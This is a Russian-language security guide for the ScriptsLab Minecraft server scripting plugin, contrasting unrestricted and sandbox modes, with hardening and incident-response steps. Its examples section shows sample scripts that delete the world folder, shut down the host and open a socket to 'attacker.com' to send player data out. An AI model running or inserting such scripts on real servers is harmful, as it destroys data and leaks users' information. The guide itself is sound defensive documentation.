ScriptsLab предоставляет мощный скриптовый движок, который может выполнять JavaScript код на вашем сервере. Неправильная конфигурация может привести к проблемам безопасности!
Когда использовать:
- Личный сервер
- Вы единственный, кто пишет скрипты
- Полное доверие ко всем администраторам
Возможности:
- ✅ Полный доступ к Java API
- ✅ Чтение/запись файлов
- ✅ Сетевые запросы
- ✅ Выполнение системных команд
- ✅ Доступ к Reflection API
Настройка:
security:
sandbox-enabled: false- Скрипты могут удалить файлы сервера
- Скрипты могут выполнить системные команды
- Скрипты могут украсть данные
- Скрипты могут остановить сервер
Когда использовать:
- Публичный сервер
- Несколько администраторов
- Не доверяете всем скриптам
Ограничения:
- ❌ Нет доступа к файловой системе
- ❌ Нет сетевых запросов
- ❌ Нет системных команд
- ✅ Только безопасные Bukkit/Paper API
- ✅ Только разрешённые Java классы
Настройка:
security:
sandbox-enabled: true
allowed-packages:
- org.bukkit
- net.kyori
- java.util
- java.langЧто можно:
- ✅ Работа с игроками
- ✅ Работа с миром
- ✅ События Bukkit
- ✅ Команды
- ✅ Кастомные предметы
Что нельзя:
- ❌
new java.io.File() - ❌
Runtime.getRuntime().exec() - ❌
new java.net.Socket() - ❌ Reflection API
По умолчанию ScriptsLab работает в Unrestricted Mode для удобства разработки.
Для продакшена рекомендуется включить Sandbox Mode!
// В unrestricted mode это сработает!
var File = Java.type('java.io.File');
var worldFolder = new File('world');
worldFolder.delete(); // Удалит мир!Защита: Sandbox mode блокирует java.io.File
// В unrestricted mode это сработает!
var Runtime = Java.type('java.lang.Runtime');
Runtime.getRuntime().exec('shutdown -s -t 0'); // Выключит сервер!Защита: Sandbox mode блокирует java.lang.Runtime
// В unrestricted mode это сработает!
var Socket = Java.type('java.net.Socket');
var socket = new Socket('attacker.com', 1337);
// Отправка данных игроков злоумышленникуЗащита: Sandbox mode блокирует java.net.*
// Это сработает в любом режиме!
while(true) {
// Заморозит сервер
}Защита: Таймаут выполнения (настраивается в config.yml)
security:
sandbox-enabled: true# Linux
chmod 700 plugins/ScriptsLab/scripts/
chown minecraft:minecraft plugins/ScriptsLab/scripts/
# Windows
# Настройте права через свойства папки# Проверьте на опасные паттерны
grep -r "Runtime.getRuntime" scripts/
grep -r "java.io.File" scripts/
grep -r "java.net.Socket" scripts/scripts:
timeout: 5000 # 5 секунд максимумscripts:
max-memory: 128 # 128 MB на скриптgeneral:
debug: true # Включить подробное логирование# Ищите подозрительную активность
grep "Script" logs/latest.log
grep "ERROR" logs/latest.log# В plugin.yml
permissions:
scriptslab.script:
description: Управление скриптами
default: op # Только операторы# Регулярно бэкапьте сервер
tar -czf backup-$(date +%Y%m%d).tar.gz world/ plugins/Следите за обновлениями ScriptsLab для получения патчей безопасности.
stop# Найдите подозрительные скрипты
find plugins/ScriptsLab/scripts/ -type f -mtime -1# Найдите подозрительную активность
grep -i "error\|exception\|failed" logs/latest.logrm plugins/ScriptsLab/scripts/suspicious_script.jssecurity:
sandbox-enabled: trueСмените пароли от:
- FTP/SFTP
- Панели управления
- Базы данных
- Операторских аккаунтов
Если повреждения серьёзные - восстановите сервер из резервной копии.
// Этот скрипт должен УПАСТЬ в sandbox mode
var File = Java.type('java.io.File');
Console.log('File access: ' + (File !== undefined));Ожидаемый результат в sandbox mode:
ReferenceError: Java is not defined
// Этот скрипт должен УПАСТЬ в sandbox mode
var Runtime = Java.type('java.lang.Runtime');
Runtime.getRuntime().exec('echo test');Ожидаемый результат в sandbox mode:
ReferenceError: Java is not defined
// Этот скрипт должен РАБОТАТЬ в sandbox mode
var Material = Java.type('org.bukkit.Material');
Console.log('Bukkit access: OK');Ожидаемый результат в sandbox mode:
[ScriptsLab] [Script] Bukkit access: OK
| Функция | Unrestricted | Sandbox |
|---|---|---|
| Bukkit API | ✅ | ✅ |
| Команды | ✅ | ✅ |
| События | ✅ | ✅ |
| Кастомные предметы | ✅ | ✅ |
| Файловая система | ✅ | ❌ |
| Сетевые запросы | ✅ | ❌ |
| Системные команды | ✅ | ❌ |
| Reflection API | ✅ | ❌ |
| Произвольные Java классы | ✅ | ❌ |
A: Да, если:
- У вас публичный сервер
- Несколько человек имеют доступ к скриптам
- Вы не доверяете всем скриптам на 100%
Нет, если:
- Это ваш личный сервер
- Только вы пишете скрипты
- Вам нужен полный доступ к Java API
A: Теоретически - да, если найдена уязвимость в GraalVM. Но это очень сложно и маловероятно.
A: Минимально. Проверка прав доступа добавляет ~1-2% накладных расходов.
A: Да, добавьте их в allowed-packages в config.yml:
security:
allowed-packages:
- org.bukkit
- com.mycompany.apiA: Либо:
- Переписать скрипт без опасных операций
- Добавить нужные классы в
allowed-packages - Отключить Sandbox (не рекомендуется)
Для разработки: Используйте Unrestricted Mode
Для продакшена: Используйте Sandbox Mode
Золотое правило: Если сомневаетесь - включайте Sandbox!
Безопасность - это не опция, это необходимость! 🔒